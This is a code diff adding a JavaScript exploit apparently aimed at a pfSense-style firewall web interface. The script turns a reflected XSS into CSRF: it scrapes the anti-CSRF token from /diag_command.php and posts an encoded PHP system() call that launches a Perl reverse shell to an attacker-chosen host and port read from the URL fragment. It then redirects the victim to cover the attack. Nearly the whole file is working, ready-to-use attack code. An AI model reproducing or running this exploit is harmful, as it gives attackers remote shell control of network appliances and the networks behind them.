|
| 1 | +// Function Ajax without JQuery library |
| 2 | +function ajax(url, method, data, async){ |
| 3 | + method = typeof method !== 'undefined' ? method : 'GET'; |
| 4 | + async = typeof async !== 'undefined' ? async : false; |
| 5 | + if(window.XMLHttpRequest) |
| 6 | + var xhReq = new XMLHttpRequest(); |
| 7 | + else |
| 8 | + var xhReq = new ActiveXObject("Microsoft.XMLHTTP"); |
| 9 | + |
| 10 | + if(method == 'POST'){ |
| 11 | + xhReq.open(method, url, async); |
| 12 | + xhReq.setRequestHeader("Content-type", "application/x-www-form-urlencoded"); |
| 13 | + xhReq.setRequestHeader("X-Requested-With", "XMLHttpRequest"); |
| 14 | + xhReq.send(data); |
| 15 | + } else { |
| 16 | + if(typeof data !== 'undefined' && data !== null) |
| 17 | + url = url+'?'+data; |
| 18 | + xhReq.open(method, url, async); |
| 19 | + xhReq.setRequestHeader("X-Requested-With", "XMLHttpRequest"); |
| 20 | + xhReq.send(null); |
| 21 | + } |
| 22 | + var serverResponse = xhReq.responseText; |
| 23 | + return serverResponse; |
| 24 | +} |
| 25 | + |
| 26 | +var hash = window.location.hash.substring(1); |
| 27 | +var lhostlport = hash.substring(hash.indexOf("lhostlport=")+11, hash.indexOf("&")); |
| 28 | +var splitlhostlport = lhostlport.split(":"); |
| 29 | +var lhost = splitlhostlport[0]; |
| 30 | +var lport = splitlhostlport[1]; |
| 31 | +var redir = hash.substring(hash.indexOf("redir=")+6, hash.length); |
| 32 | + |
| 33 | +var payload='system%28%27%2fusr%2flocal%2fbin%2fperl%20-e%20%5C%27use%20Socket%3B%24i%3D%22' + lhost + '%22%3B%24p%3D' + lport + '%3Bsocket%28S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname%28%22tcp%22%29%29%3Bif%28connect%28S%2Csockaddr_in%28%24p%2Cinet_aton%28%24i%29%29%29%29%7Bopen%28STDIN%2C%22%3E%26S%22%29%3Bopen%28STDOUT%2C%22%3E%26S%22%29%3Bopen%28STDERR%2C%22%3E%26S%22%29%3Bexec%28%22%2fbin%2fsh%20-i%22%29%3B%7D%3B%5C%27%26%27%29%3B'; |
| 34 | + |
| 35 | +// Function with AJAX request |
| 36 | +// This function requests in GET an internal WebGUI page, which contains the token. |
| 37 | +// Source code of this webpage is passed to the extractToken() function. |
| 38 | +function loadToken(){ |
| 39 | + var response = ajax('/diag_command.php'); |
| 40 | + extractToken(response); |
| 41 | +} |
| 42 | + |
| 43 | +// Function called after AJAX request in a defined page of the context, which contains the token value |
| 44 | +function extractToken(response){ |
| 45 | + // response var contains the source code of the page requested by AJAX |
| 46 | + // Regex to catch the token value |
| 47 | + var regex = new RegExp("<input type='hidden' name='__csrf_magic' value=\"(.*)\" />",'gi'); |
| 48 | + var token = response.match(regex); |
| 49 | + token = RegExp.$1; |
| 50 | + // Pass the token to the final function which make the CSRF final attack |
| 51 | + makeCSRF(token); |
| 52 | +} |
| 53 | + |
| 54 | +// Function with AJAX request |
| 55 | +// The token var is needed to perform the right CSRF attack with the context referer |
| 56 | +function makeCSRF(token){ |
| 57 | + // Final CSRF attack with right referer (because executed in the context) |
| 58 | + // and with right token captured above |
| 59 | + var response = ajax('/diag_command.php', 'POST', 'txtCommand=&txtRecallBuffer=&dlPath=&ulfile=&txtPHPCommand=' + payload + '&submit=EXECPHP&__csrf_magic=' + token); |
| 60 | + // Finally, redirect back to the intial hooked page |
| 61 | + document.location=decodeURIComponent(redir); |
| 62 | +} |
| 63 | + |
| 64 | +// The Reflected XSS is triggered several time. The next code force the RXSS firering only one time |
| 65 | +if (trigger){ |
| 66 | +} else { |
| 67 | + var trigger = function(){ |
| 68 | + loadToken(); |
| 69 | + }; |
| 70 | + trigger(); |
| 71 | +} |
0 commit comments